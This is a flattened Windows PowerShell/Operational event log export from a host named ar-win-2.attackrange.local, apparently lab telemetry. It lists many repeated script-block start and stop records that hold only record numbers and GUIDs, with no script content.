410615103150x0669993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0669832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0669831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 